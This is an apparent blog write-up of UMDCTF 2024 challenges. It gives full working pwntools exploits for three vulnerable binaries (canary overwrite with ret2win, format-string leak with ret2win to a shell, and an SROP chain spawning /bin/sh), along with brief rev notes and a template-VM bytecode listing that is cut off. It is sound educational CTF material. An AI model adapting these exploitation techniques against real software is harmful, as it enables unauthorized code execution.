Hey! How’s it been, I know it’s been a while since my last update. I’ve been busy with school, but I’m back with some writeups for UMDCTF 2024. I hope you enjoy them!

These were some great challenges, though my solves for the rev might be a bit non-conventional. Still, hope you find them helpful!

Pwn

The Voice

pwn/the_voice - aparker - 98 solves / 399 points

If you want the flag, command me to give it to you.

nc challs.umdctf.io 31192

They give us source, so let’s take a look at it.

#include <stdio.h>
#include <stdlib.h>
 
__thread long long g[10];
 
void give_flag() {
    char buf[100];
    FILE* f = fopen("flag.txt", "r");
    
    fgets(buf, sizeof(buf), f);
    printf("%s\n", buf);
}
 
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);  
 
    puts("If you want the flag, command me to give it to you.");
    char command[16];
    gets(command);
    g[atoi(command)] = 10191;
}

And here’s checksec:

$ checksec ./the_voice
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

This looks pretty simple, we have a BOF in the gets call and we can overwrite some offset in the g array. In this case, since the g array is __thread, it’s stored in the thread-local storage, meaning the stack canary is located relative to it.

With our overwrite, we can overwrite the stack canary, then perform a simple ret2win to get the flag. Finding the exact offset to overwrite the canary just requires a peek in GDB, and we also need to add a ret gadget to align the stack properly.

Here’s the exploit:

#!/usr/bin/env python3
from pwn import *
elf = ELF("./the_voice_patched")
 
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hb', '-F', '#\x7bpane_pid\x7d', '-P']
 
def conn():
    if args.REMOTE:
        # nc challs.umdctf.io 31192
        io = remote("challs.umdctf.io", 31192)
    elif args.GDB:
        gdbscript = """
            b main
            c
        """
        io = gdb.debug([elf.path], gdbscript=gdbscript)
    else:
        io = process([elf.path])
    return io
 
r = conn()
 
payload = b'15'.ljust(0x18, b' ')
payload += p64(0x27cf) # new overwriten canary
payload += b'B' * 0x8
# 0x000000000040101a : ret
payload += p64(0x40101a)
payload += p64(elf.sym.give_flag)
 
r.sendline(payload)
 
r.interactive()

[+] Opening connection to challs.umdctf.io on port 31192: Done
[*] Switching to interactive mode
If you want the flag, command me to give it to you.
UMDCTF{pwn_g3ss3r1t_sk1ll5_d0nt_tak3_a5_many_y3ar5_t0_l3arn_pau1}

Mentat Question

pwn/mentat_question - cephi - 71 solves / 432 points

Thufir Hawat is ready to answer any and all questions you have. Unless it’s not about division…

nc challs.umdctf.io 32300

Here’s the source:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
 
void secret() {
    system("/bin/sh");
}
 
uint32_t calculate(uint32_t num1, uint32_t num2) {
    printf("%i\n", num1);
    printf("%i\n", num2);
 
    char buf[16];
 
    if (num2 < 1) {
        puts("Oh, I was not aware we were using negative numbers!");
        puts("Would you like to try again?");
        gets(buf);
        if (strncmp(buf, "Yes", 3) == 0) {
            fputs("Was that a ", stdout);
            printf(buf);
            fputs(" I heard?\n", stdout);
            return 0;
        } else {
            puts("I understand. Apologies, young master.");
            exit(0);
        }
    }
 
    return num1 / num2;
}
 
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    uint32_t num1;
    uint32_t num2;
    uint32_t res = 0;
 
    char buf[11];
    puts("Hello young master. What would you like today?");
    fgets(buf, sizeof(buf), stdin);
 
    if (strncmp(buf, "Division", 8) == 0) {
        puts("Of course");
        while (res == 0) {
            puts("Which numbers would you like divided?");
            fgets(buf, sizeof(buf), stdin);
            num1 = atoi(buf);
 
            fgets(buf, sizeof(buf), stdin);
            getc(stdin);
            if (strncmp(buf, "0", 1) == 0) {
                puts("I'm afraid I cannot divide by zero, young master.");
                return 1;
            } else {
                num2 = atoi(buf);
            }
 
            res = calculate(num1, num2);
        }
    }
 
    return 0;
}

$ checksec ./mentat-question
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

This time, we don’t have a canary, but we do have PIE. Additionally, in the calculate function, we have a both a BOF and a format string vulnerability. We can use the format string vulnerability to leak an address to break PIE, then use the BOF for a simple ret2win.

Here’s the exploit. First we leak the address of main which just so happens to be left on the stack for us. Then, we overwrite the return address with the address of secret to get the flag.

#!/usr/bin/env python3
from pwn import *
elf = ELF("./mentat-question_patched")
 
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hb', '-F', '#\x7bpane_pid\x7d', '-P']
 
def conn():
    if args.REMOTE:
        # io = remote(args.HOST, args.PORT)
        # nc challs.umdctf.io 32300
        io = remote('challs.umdctf.io', 32300)
    elif args.GDB:
        gdbscript = """
            b calculate 
            c
        """
        io = gdb.debug([elf.path], gdbscript=gdbscript)
    else:
        io = process([elf.path])
    return io
 
r = conn()
 
# your solution here
r.sendlineafter(b'today?\n', b'Division')
r.sendlineafter(b'divided?\n', b'\n\n')
 
payload = b'Yes' 
payload += b' %6$p'
r.sendlineafter(b'again?\n', payload)
 
main = r.recvline().strip().split(b'Yes ')[1].split(b' I heard?')[0]
main = int(main, 16)
elf.address = main - elf.symbols.main
 
r.sendlineafter(b'divided?\n', b'\n\n')
# 0x000000000000101a : ret
payload = b'Yes'.ljust(0x18, b'A')
payload += p64(elf.address + 0x000000000000101a)
payload += p64(elf.symbols.secret)
 
r.sendlineafter(b'again?\n', payload)
 
r.interactive()

[+] Opening connection to challs.umdctf.io on port 32300: Done
[*] Switching to interactive mode
Was that a YesAAAAAAAAAAAAAAAAAAAAA\x1a\xc0ph\xdcU I heard?
$ cat flag.txt
UMDCTF{3_6u1ld_n4v16470r5_4_7074l_0f_1.46_m1ll10n_62_50l4r15_r0und_7r1p}
$ 
[*] Closed connection to challs.umdctf.io port 32300

The Spice

pwn/the_spice - relkochta - 45 solves / 460 points

House Harkonnen’s spice harvesters keep getting overrun by Atreides pwners. Help keep their riches secure using exotic techniques.

nc challs.umdctf.io 31721

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
 
#define NUM_BUYERS 8
 
struct spice_buyer {
    unsigned int spice_amount;
    char name[20];
};
 
unsigned int spice_amount(struct spice_buyer buyer) {
    /* TODO: convert to kilograms */
    return buyer.spice_amount;
}
 
void prompt(void) {
    char *prompt = 
        "Choose an option:\n"
        "(1) Add a buyer\n"
        "(2) Update a buyer's spice allocation\n"
        "(3) View a buyer\n"
        "(4) Deploy a hunter-seeker\n"
        "(5) Sell the spice\n";
 
    /* Never pass up an opportunity to practice your assembly skills! */
    asm volatile(
        "movq $1,   %%rax\n "
        "movq $1,   %%rdi\n "
        "movq %[s], %%rsi\n "
        "movq %[len], %%rdx\n "
        "syscall\n "
        :
        : [s]   "r" (prompt),
          [len] "r" (strlen(prompt))
        : "rax", "rdi", "rsi", "rdx"
    );
}
 
int main() {
    int i, num, len, spice;
    struct spice_buyer buyers[NUM_BUYERS];
    char buf[16];
 
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
 
    memset(buyers, 0, sizeof(buyers));
 
    srand(time(NULL));
    spice = rand() % 100;
 
    printf("House Harkonnen has finally taken control of Arrakis, and with it control of the crucial spice.\n");
    printf("However, the Baron poured all of his funds into exterminating House Atreides.\n");
    printf("Luckily, we sent some guys to drop the last of them into the desert, so that's all taken care of.\n");
    printf("\n");
    printf("For some reason our spice harvesters keep getting raided though?\n");
    printf("As a result, spice production is lower than expected.\n");
    printf("\n");
    printf("Can you help the Baron distribute the %d tons of spice among his prospective buyers?\n", spice);
    printf("\n");
 
    while (727) {
        prompt();
        printf("> ");
 
        fgets(buf, sizeof(buf), stdin);
        num = atoi(buf);
 
        switch (num) {
        case 1:
            printf("Enter the buyer index: ");
            fgets(buf, sizeof(buf), stdin);
            num = atoi(buf);
 
            if (num < 0 || num >= NUM_BUYERS) {
                printf("Invalid index!\n");
                continue;
            }
 
            printf("How long is the buyer's name? ");
            fgets(buf, sizeof(buf), stdin);
            len = atoi(buf);
            
            printf("Enter the buyer's name: ");
            fgets(buyers[num].name, len, stdin);
            buyers[num].name[strcspn(buyers[num].name, "\n")] = '\0';
 
            break;
        case 2:
            printf("Enter the buyer index: ");
            fgets(buf, sizeof(buf), stdin);
            num = atoi(buf);
 
            if (num < 0 || num >= NUM_BUYERS || strcmp(buyers[num].name, "") == 0) {
                printf("Invalid index!\n");
                continue;
            }
 
            printf("Enter the spice allocation (in tons) to this buyer: ");
            fgets(buf, sizeof(buf), stdin);
            buyers[num].spice_amount = atoi(buf);
 
            break;
        case 3:
            printf("Enter the buyer index: ");
            fgets(buf, sizeof(buf), stdin);
            num = atoi(buf);
 
            printf("Buyer %d: %s, allocated %u tons of spice\n", num, buyers[num].name, spice_amount(buyers[num]));
 
            break;
        case 4:
            printf("Your hunter-seeker explodes next to its target; before it explodes, here's what it saw: %p\n", buyers);
 
            break;
        default:
            for (i = 0; i < NUM_BUYERS; i++) {
                spice -= spice_amount(buyers[i]);
            }
 
            if (spice < 0) {
                printf("You oversold your spice resources. The Spacing Guild is extremely angry, and has revoked your shipping privileges.\n");
                goto done;
            } else if (spice == 0) {
                printf("You sold all of the spice! The Baron wanted you to sell it slowly to inflate the price! He is extremely angry with you.\n");
                goto done;
            } else {
                printf("You sold the spice, and have %d tons remaining. You live to see another day.\n", spice);
                goto done;
            }
        }
    }
 
done:
    return spice <= 0;
}

$ checksec ./the_spice
[*] '/mnt/d/Cybersecurity/2024/umdctf/PwnUpsolve/the_spice/the_spice'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

This one is a lot larger. Some things to note:

There’s no offset check here, meaning we have an arbitary read.

        case 3:
            printf("Enter the buyer index: ");
            fgets(buf, sizeof(buf), stdin);
            num = atoi(buf);
 
            printf("Buyer %d: %s, allocated %u tons of spice\n", num, buyers[num].name, spice_amount(buyers[num]));
 
            break;

We also have a buffer overflow here, since we can set len to be any value.

        case 1:
            printf("Enter the buyer index: ");
            fgets(buf, sizeof(buf), stdin);
            num = atoi(buf);
 
            if (num < 0 || num >= NUM_BUYERS) {
                printf("Invalid index!\n");
                continue;
            }
 
            printf("How long is the buyer's name? ");
            fgets(buf, sizeof(buf), stdin);
            len = atoi(buf);
            
            printf("Enter the buyer's name: ");
            fgets(buyers[num].name, len, stdin);
            buyers[num].name[strcspn(buyers[num].name, "\n")] = '\0';
 
            break;

Finally, we also have a syscall gadget.

    asm volatile(
        "movq $1,   %%rax\n "
        "movq $1,   %%rdi\n "
        "movq %[s], %%rsi\n "
        "movq %[len], %%rdx\n "
        "syscall\n "
        :
        : [s]   "r" (prompt),
          [len] "r" (strlen(prompt))
        : "rax", "rdi", "rsi", "rdx"
    );

First, we can use the arbitary read to leak the canary and stack. Since we’re not given libc, we can assume its not necessary, and PIE is off so we don’t need to leak any addresses.

def read_index(index):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"index: ", str(index).encode())
    line = r.recvline().strip()
    line = line.split(b': ', 1)[1]
    name, value = line.split(b", allocated")
    value = value.split()[0]
    value = int(value)
    return value.to_bytes(4, 'little') + name
 
canary = int.from_bytes(read_index(9)[:-1], 'little')
print(f"Canary: {hex(canary)}")
 
stack_leak = int.from_bytes(read_index(12), 'little')
rsp = stack_leak - (0x7ffed07fac48 - 0x00007ffed07faa40)
print(f"Stack leak: {hex(stack_leak)}")
print(f"RSP: {hex(rsp)}")

To abuse the syscall gadget properly, we need to control rax. Thankfully, the binary just so happens to give us a nice function that sets rax to a value relative of rbp.

unsigned int spice_amount(struct spice_buyer buyer) {
    /* TODO: convert to kilograms */
    return buyer.spice_amount;
    /* We can jump to these instructions with controlled rbp to set eax
    00401215  8b45d8             mov     eax, dword [rbp-0x28 {var_30}]
    00401218  488b55f8           mov     rdx, qword [rbp-0x8 {var_10}]
    0040121c  64482b1425280000…  sub     rdx, qword [fs:0x28]
    00401225  7405               je      0x40122c
 
    00401227  e834feffff         call    __stack_chk_fail
    { Does not return }
 
    0040122c  c9                 leave    {__saved_rbp}
    0040122d  c3                 retn     {__return_addr}
    */
}

We can use this to set rax to 0xf, then perform SROP to jump back to the syscall with the proper arguments to pop a shell.

# first ret to the spice_amount function with overwritten rbp
payload = b'A' * 0x2c
payload += p64(canary)
payload += p64(rsp + 0x128) # points to the rest of our payload
payload += p64(0x401215) # inside of spice_amount()
payload += p64(0xf) # SIGRETURN syscall number
 
# make sure the function returns 0xf and passes canary
payload += b'B' * 0x18
payload += p64(canary)
 
# smuggle a /bin/sh to reference later to pop shell
payload += b'/bin/sh\x00'.ljust(0x8, b'\x00')
 
# 0x0000000000401274 : syscall
payload += p64(0x401274)
 
# SROP frame
bin_sh = rsp + (0x00007fffd9592ac8 - 0x7fffd95929a0)
 
frame = SigreturnFrame()
frame.rax = 0x3b # execve syscall number
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x401274 # back to syscall
 
payload += bytes(frame)

Here’s the full exploit:

#!/usr/bin/env python3
from pwn import *
elf = ELF("./the_spice_patched")
 
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hb', '-F', '#\x7bpane_pid\x7d', '-P']
 
def conn():
    if args.REMOTE:
        # nc challs.umdctf.io 31721
        # io = remote(args.HOST, args.PORT)
        io = remote("challs.umdctf.io", 31721)
    elif args.GDB:
        gdbscript = """
            # b * 0x4013bb
            b * 0x401800
            c
        """
        io = gdb.debug([elf.path], gdbscript=gdbscript)
    else:
        io = process([elf.path])
    return io
 
r = conn()
 
def read_index(index):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"index: ", str(index).encode())
    line = r.recvline().strip()
    line = line.split(b': ', 1)[1]
    name, value = line.split(b", allocated")
    value = value.split()[0]
    value = int(value)
    return value.to_bytes(4, 'little') + name
 
def write_index(index, value):
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"index: ", str(index).encode())
    r.sendlineafter(b"name? ", str(len(value) + 1).encode())
    r.sendlineafter(b"name: ", value)
 
canary = int.from_bytes(read_index(9)[:-1], 'little')
print(f"Canary: {hex(canary)}")
 
stack_leak = int.from_bytes(read_index(12), 'little')
rsp = stack_leak - (0x7ffed07fac48 - 0x00007ffed07faa40)
print(f"Stack leak: {hex(stack_leak)}")
print(f"RSP: {hex(rsp)}")
 
# 0x0000000000401274 : syscall
payload = b'A' * 0x2c
payload += p64(canary)
payload += p64(rsp + 0x128)
payload += p64(0x401215) # inside of spice_amount()
payload += p64(0xf)
payload += b'B' * 0x18
payload += p64(canary)
payload += b'/bin/sh\x00'.ljust(0x8, b'\x00')
payload += p64(0x401274)
 
bin_sh = rsp + (0x00007fffd9592ac8 - 0x7fffd95929a0)
 
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x401274
 
payload += bytes(frame)
 
write_index(7, payload)
 
r.sendline(b'cat flag.txt')
 
r.interactive()

[+] Opening connection to challs.umdctf.io on port 31721: Done
Canary: 0xd55b629010f55d00
Stack leak: 0x7ffe93b36b38
RSP: 0x7ffe93b36930
[*] Switching to interactive mode
Choose an option:
(1) Add a buyer
(2) Update a buyer's spice allocation
(3) View a buyer
(4) Deploy a hunter-seeker
(5) Sell the spice
> You sold the spice, and have 79 tons remaining. You live to see another day.
UMDCTF{use_the_spice_to_see_into_the_srop_future}

Rev

CMSC430 / travel the dunes… with OCaml!

rev/cmsc430 - aparker - 80 solves / 421 points

This binary was compiled by an hand-crafted, artisan racket compiler, courtesy of UMD’s very own CMSC430 class.

rev/travel the dunes… with OCaml! - assgent - 72 solves / 431 points

ocaml_executable is a flag checker compiled and assembled from OCaml using ocamlopt. Can you rev it?

Hint: The flag is 123 characters in length.

These two are grouped together because you can instruction count side channel both.

From what I can tell, CMSC430 checks a byte at a time by reading in one character, multiplying it by 2, then comparing it with a constant. If it’s not equal, the function returns false early. This can be abused to instruction count side channel.

For the OCaml one, it does something similar, where it checks one byte at a time by accessing elements of a list one after the other, with failures exiting early. This can also be abused to instruction count side channel.

Typecheck

rev/Typecheck - aparker - 29 solves / 476 points

My C++ code won’t type check. Can you fix that for me?

Note: you will need to set -ftemplate-depth=10000 when compiling.

We’re given 2 files, templates.hpp, and main.cpp:

#include <type_traits>
 
struct nil_t {};
 
template<class T, class U>
struct cons {
    using car = T;
    using cdr = U;
};
 
template <class T>
using car_t = typename T::car;
 
template <class T>
using cdr_t = typename T::cdr;
 
template <class ... Ts>
struct list;
 
template <>
struct list<> {
    using type = nil_t;
};
 
template <class T, class ... Ts>
struct list<T, Ts...> {
    using type = cons<T, list<Ts...>>;
};
 
template <class ... Ts>
using list_t = typename list<Ts...>::type;
 
template <int v> struct V { static const constexpr int value = v ; };
 
template <int ... is>
struct int_list;
 
template <int i>
struct int_list<i> {
    using type = cons<V<i>, nil_t>;
};
 
template <int i, int ... is> 
struct int_list<i, is...> {
    using type = cons<V<i>, typename int_list<is...>::type>;
};
 
template <int ... is>
using int_list_t = typename int_list<is...>::type;
 
 
template <int i, typename T>
struct g;
 
template <int v, typename R>
struct g<0, cons<V<v>, R>> {
    static const constexpr int value = v;
};
 
template <int N, typename X, typename R>
struct g<N, cons<X, R>> {
    static const constexpr int value = g<N-1, R>::value;
};
template <typename S>
struct A;
 
template <int a, int b, typename rest>
struct A<cons<V<a>, cons<V<b>, rest>>> {
    using type = cons<V<a + b>, rest>;
};
 
template <typename S>
using A_t = typename A<S>::type;
 
 
template <typename S>
struct M;
 
template <int a, int b, typename rest>
struct M<cons<V<a>, cons<V<b>, rest>>> {
    using type = cons<V<a * b>, rest>;
};
 
template <typename S>
using M_t = typename M<S>::type;
 
template <int v, typename S>
struct P {
    using type = cons<V<v>, S>;
};
 
template <int v, typename S>
using P_t = typename P<v, S>::type;
 
 
template <int v, typename S>
struct T;
 
template <int v, int v_, typename R>
struct T<v, cons<V<v_>, R>> {
    using type = std::enable_if_t<v == v_, R>;
};
 
template <int v, typename S>
using T_t = typename T<v, S>::type;
 
 
template <typename S, typename IT, typename In>
struct vm;
 
template <typename S, typename In>
struct vm<S, nil_t, In> {
    using type = S;
};
 
template <typename S, typename R, typename In>
struct vm<S, cons<V<0>, R>, In>  {
    using type = typename vm<A_t<S>, R, In>::type;
};
 
template <typename S, typename R, typename In>
struct vm<S, cons<V<1>, R>, In>  {
    using type = typename vm<M_t<S>, R, In>::type;
};
 
template <typename S, int PV, typename R, typename In>
struct vm<S, cons<V<2>, cons<V<PV>, R>>, In>  {
    using type = typename vm<P_t<PV, S>, R, In>::type;
};
 
template <typename S, int N, typename R, typename In>
struct vm<S, cons<V<3>, cons<V<N>, R>>, In> {
    using type = typename vm<cons<V<g<N, In>::value>, S>, R, In>::type;
};
 
template <typename S, int PV, typename R, typename In>
struct vm<S, cons<V<4>, cons<V<PV>, R>>, In>  {
    using type = typename vm<T_t<PV, S>, R, In>::type;
};
 
template <typename S, typename IT, typename In>
using vm_t = typename vm<S, IT, In>::type;

#include "templates.hpp"
 
// flag is 60 chars
using flag_t = int_list_t <'f','l','a','g','g','o','e','s','h','e','r','e'>;
using prog_t = int_list_t <2, 0, 3, 2, 2, 47, 1, 0, 3, 12, 2, 24, 1, 0, 3, 16, 2, 67, 1, 0, 3, 18, 2, 89, 1, 0, 3, 22, 2, 59, 1, 0, 3, 41, 2, 61, 1, 0, 3, 51, 2, 19, 1, 0, 3, 56, 2, 45, 1, 0, 4, 40701, 2, 0, 3, 0, 2, 66, 1, 0, 3, 11, 2, 8, 1, 0, 3, 21, 2, 64, 1, 0, 3, 26, 2, 15, 1, 0, 3, 30, 2, 8, 1, 0, 3, 43, 2, 91, 1, 0, 3, 46, 2, 14, 1, 0, 3, 56, 2, 70, 1, 0, 4, 32663, 2, 0, 3, 22, 2, 20, 1, 0, 3, 28, 2, 71, 1, 0, 3, 29, 2, 4, 1, 0, 3, 34, 2, 93, 1, 0, 3, 48, 2, 92, 1, 0, 3, 56, 2, 11, 1, 0, 3, 59, 2, 22, 1, 0, 4, 32897, 2, 0, 3, 13, 2, 55, 1, 0, 3, 14, 2, 82, 1, 0, 3, 24, 2, 36, 1, 0, 3, 25, 2, 94, 1, 0, 3, 36, 2, 97, 1, 0, 3, 38, 2, 97, 1, 0, 3, 45, 2, 33, 1, 0, 3, 48, 2, 84, 1, 0, 4, 62800, 2, 0, 3, 11, 2, 11, 1, 0, 3, 15, 2, 43, 1, 0, 3, 16, 2, 73, 1, 0, 3, 22, 2, 88, 1, 0, 3, 28, 2, 88, 1, 0, 3, 40, 2, 34, 1, 0, 3, 43, 2, 71, 1, 0, 3, 49, 2, 25, 1, 0, 3, 56, 2, 89, 1, 0, 4, 54188, 2, 0, 3, 0, 2, 47, 1, 0, 3, 1, 2, 38, 1, 0, 3, 3, 2, 76, 1, 0, 3, 15, 2, 2, 1, 0, 3, 24, 2, 9, 1, 0, 3, 26, 2, 41, 1, 0, 3, 27, 2, 100, 1, 0, 3, 36, 2, 35, 1, 0, 3, 43, 2, 1, 1, 0, 4, 31113, 2, 0, 3, 7, 2, 97, 1, 0, 3, 10, 2, 79, 1, 0, 3, 29, 2, 27, 1, 0, 3, 30, 2, 84, 1, 0, 3, 31, 2, 39, 1, 0, 3, 35, 2, 13, 1, 0, 3, 37, 2, 40, 1, 0, 3, 52, 2, 7, 1, 0, 4, 38898, 2, 0, 3, 2, 2, 15, 1, 0, 3, 15, 2, 67, 1, 0, 3, 25, 2, 19, 1, 0, 3, 32, 2, 12, 1, 0, 3, 44, 2, 97, 1, 0, 3, 48, 2, 76, 1, 0, 3, 49, 2, 3, 1, 0, 3, 51, 2, 75, 1, 0, 4, 36639, 2, 0, 3, 1, 2, 54, 1, 0, 3, 3, 2, 11, 1, 0, 3, 9, 2, 30, 1, 0, 3, 13, 2, 52, 1, 0, 3, 21, 2, 61, 1, 0, 3, 24, 2, 58, 1, 0, 3, 38, 2, 35, 1, 0, 3, 43, 2, 79, 1, 0, 3, 58, 2, 26, 1, 0, 4, 37375, 2, 0, 3, 2, 2, 32, 1, 0, 3, 4, 2, 14, 1, 0, 3, 13, 2, 66, 1, 0, 3, 18, 2, 70, 1, 0, 3, 20, 2, 33, 1, 0, 3, 39, 2, 1, 1, 0, 3, 43, 2, 53, 1, 0, 3, 54, 2, 40, 1, 0, 4, 30121, 2, 0, 3, 7, 2, 46, 1, 0, 3, 21, 2, 34, 1, 0, 3, 25, 2, 37, 1, 0, 3, 40, 2, 31, 1, 0, 3, 44, 2, 33, 1, 0, 3, 48, 2, 98, 1, 0, 3, 53, 2, 68, 1, 0, 3, 55, 2, 67, 1, 0, 3, 57, 2, 72, 1, 0, 4, 49351, 2, 0, 3, 6, 2, 21, 1, 0, 3, 8, 2, 72, 1, 0, 3, 17, 2, 59, 1, 0, 3, 22, 2, 69, 1, 0, 3, 28, 2, 55, 1, 0, 3, 38, 2, 75, 1, 0, 3, 42, 2, 87, 1, 0, 4, 42951, 2, 0, 3, 4, 2, 56, 1, 0, 3, 6, 2, 75, 1, 0, 3, 10, 2, 23, 1, 0, 3, 16, 2, 6, 1, 0, 3, 25, 2, 45, 1, 0, 3, 35, 2, 68, 1, 0, 3, 42, 2, 91, 1, 0, 3, 44, 2, 33, 1, 0, 3, 52, 2, 79, 1, 0, 4, 49491, 2, 0, 3, 0, 2, 8, 1, 0, 3, 9, 2, 10, 1, 0, 3, 21, 2, 80, 1, 0, 3, 28, 2, 51, 1, 0, 3, 31, 2, 76, 1, 0, 3, 41, 2, 69, 1, 0, 3, 54, 2, 60, 1, 0, 3, 56, 2, 21, 1, 0, 3, 57, 2, 57, 1, 0, 4, 42336, 2, 0, 3, 5, 2, 21, 1, 0, 3, 32, 2, 1, 1, 0, 3, 33, 2, 43, 1, 0, 3, 41, 2, 98, 1, 0, 3, 42, 2, 19, 1, 0, 3, 50, 2, 57, 1, 0, 3, 55, 2, 77, 1, 0, 3, 57, 2, 4, 1, 0, 4, 32927, 2, 0, 3, 10, 2, 10, 1, 0, 3, 11, 2, 16, 1, 0, 3, 21, 2, 64, 1, 0, 3, 33, 2, 59, 1, 0, 3, 38, 2, 95, 1, 0, 3, 41, 2, 99, 1, 0, 3, 42, 2, 22, 1, 0, 4, 38911, 2, 0, 3, 2, 2, 75, 1, 0, 3, 3, 2, 21, 1, 0, 3, 12, 2, 81, 1, 0, 3, 13, 2, 30, 1, 0, 3, 18, 2, 56, 1, 0, 3, 33, 2, 48, 1, 0, 3, 38, 2, 52, 1, 0, 3, 41, 2, 28, 1, 0, 3, 43, 2, 21, 1, 0, 4, 39777, 2, 0, 3, 1, 2, 10, 1, 0, 3, 19, 2, 51, 1, 0, 3, 28, 2, 39, 1, 0, 3, 42, 2, 25, 1, 0, 3, 43, 2, 93, 1, 0, 3, 44, 2, 2, 1, 0, 3, 45, 2, 99, 1, 0, 3, 49, 2, 68, 1, 0, 3, 54, 2, 67, 1, 0, 4, 48333, 2, 0, 3, 0, 2, 53, 1, 0, 3, 4, 2, 6, 1, 0, 3, 24, 2, 52, 1, 0, 3, 45, 2, 88, 1, 0, 3, 47, 2, 59, 1, 0, 3, 50, 2, 57, 1, 0, 3, 54, 2, 90, 1, 0, 3, 55, 2, 32, 1, 0, 3, 57, 2, 64, 1, 0, 4, 51710, 2, 0, 3, 15, 2, 31, 1, 0, 3, 16, 2, 80, 1, 0, 3, 18, 2, 70, 1, 0, 3, 39, 2, 29, 1, 0, 3, 43, 2, 75, 1, 0, 3, 44, 2, 79, 1, 0, 3, 45, 2, 76, 1, 0, 3, 46, 2, 29, 1, 0, 4, 48056, 2, 0, 3, 0, 2, 85, 1, 0, 3, 7, 2, 64, 1, 0, 3, 9, 2, 85, 1, 0, 3, 14, 2, 1, 1, 0, 3, 18, 2, 45, 1, 0, 3, 24, 2, 26, 1, 0, 3, 37, 2, 42, 1, 0, 3, 38, 2, 74, 1, 0, 3, 39, 2, 90, 1, 0, 4, 45991, 2, 0, 3, 13, 2, 76, 1, 0, 3, 23, 2, 33, 1, 0, 3, 39, 2, 40, 1, 0, 3, 43, 2, 6, 1, 0, 3, 44, 2, 66, 1, 0, 3, 47, 2, 12, 1, 0, 3, 48, 2, 67, 1, 0, 3, 58, 2, 35, 1, 0, 3, 59, 2, 15, 1, 0, 4, 35893, 2, 0, 3, 3, 2, 1, 1, 0, 3, 4, 2, 11, 1, 0, 3, 10, 2, 9, 1, 0, 3, 12, 2, 47, 1, 0, 3, 26, 2, 99, 1, 0, 3, 38, 2, 33, 1, 0, 3, 40, 2, 43, 1, 0, 3, 47, 2, 2, 1, 0, 3, 53, 2, 90, 1, 0, 4, 34405, 2, 0, 3, 12, 2, 8, 1, 0, 3, 16, 2, 54, 1, 0, 3, 18, 2, 66, 1, 0, 3, 25, 2, 98, 1, 0, 3, 27, 2, 71, 1, 0, 3, 38, 2, 83, 1, 0, 3, 55, 2, 70, 1, 0, 3, 57, 2, 38, 1, 0, 4, 51749, 2, 0, 3, 2, 2, 6, 1, 0, 3, 5, 2, 13, 1, 0, 3, 13, 2, 19, 1, 0, 3, 43, 2, 70, 1, 0, 3, 45, 2, 47, 1, 0, 3, 47, 2, 88, 1, 0, 3, 56, 2, 26, 1, 0, 3, 57, 2, 65, 1, 0, 3, 58, 2, 63, 1, 0, 4, 40351, 2, 0, 3, 3, 2, 48, 1, 0, 3, 5, 2, 32, 1, 0, 3, 20, 2, 3, 1, 0, 3, 27, 2, 95, 1, 0, 3, 39, 2, 15, 1, 0, 3, 41, 2, 10, 1, 0, 3, 42, 2, 68, 1, 0, 3, 51, 2, 32, 1, 0, 3, 59, 2, 77, 1, 0, 4, 37398, 2, 0, 3, 2, 2, 72, 1, 0, 3, 13, 2, 20, 1, 0, 3, 27, 2, 31, 1, 0, 3, 32, 2, 46, 1, 0, 3, 34, 2, 12, 1, 0, 3, 37, 2, 11, 1, 0, 3, 39, 2, 36, 1, 0, 3, 58, 2, 76, 1, 0, 3, 59, 2, 23, 1, 0, 4, 31933, 2, 0, 3, 4, 2, 61, 1, 0, 3, 8, 2, 81, 1, 0, 3, 18, 2, 13, 1, 0, 3, 35, 2, 38, 1, 0, 3, 41, 2, 37, 1, 0, 3, 48, 2, 29, 1, 0, 3, 49, 2, 1, 1, 0, 3, 52, 2, 62, 1, 0, 3, 53, 2, 80, 1, 0, 4, 34841, 2, 0, 3, 4, 2, 38, 1, 0, 3, 6, 2, 26, 1, 0, 3, 7, 2, 14, 1, 0, 3, 25, 2, 1, 1, 0, 3, 26, 2, 16, 1, 0, 3, 32, 2, 42, 1, 0, 3, 36, 2, 22, 1, 0, 3, 47, 2, 93, 1, 0, 3, 51, 2, 22, 1, 0, 4, 28808, 2, 0, 3, 27, 2, 10, 1, 0, 3, 40, 2, 49, 1, 0, 3, 54, 2, 2, 1, 0, 3, 56, 2, 14, 1, 0, 3, 57, 2, 70, 1, 0, 4, 15152, 2, 0, 3, 1, 2, 22, 1, 0, 3, 8, 2, 16, 1, 0, 3, 21, 2, 9, 1, 0, 3, 24, 2, 45, 1, 0, 3, 31, 2, 7, 1, 0, 3, 45, 2, 89, 1, 0, 3, 56, 2, 16, 1, 0, 3, 59, 2, 73, 1, 0, 4, 29411, 2, 0, 3, 1, 2, 96, 1, 0, 3, 25, 2, 21, 1, 0, 3, 26, 2, 84, 1, 0, 3, 35, 2, 39, 1, 0, 3, 39, 2, 80, 1, 0, 3, 50, 2, 21, 1, 0, 3, 53, 2, 25, 1, 0, 3, 55, 2, 98, 1, 0, 3, 57, 2, 19, 1, 0, 4, 46582, 2, 0, 3, 27, 2, 57, 1, 0, 3, 28, 2, 59, 1, 0, 3, 29, 2, 28, 1, 0, 3, 36, 2, 84, 1, 0, 3, 43, 2, 26, 1, 0, 3, 49, 2, 28, 1, 0, 3, 56, 2, 54, 1, 0, 3, 58, 2, 53, 1, 0, 4, 39700, 2, 0, 3, 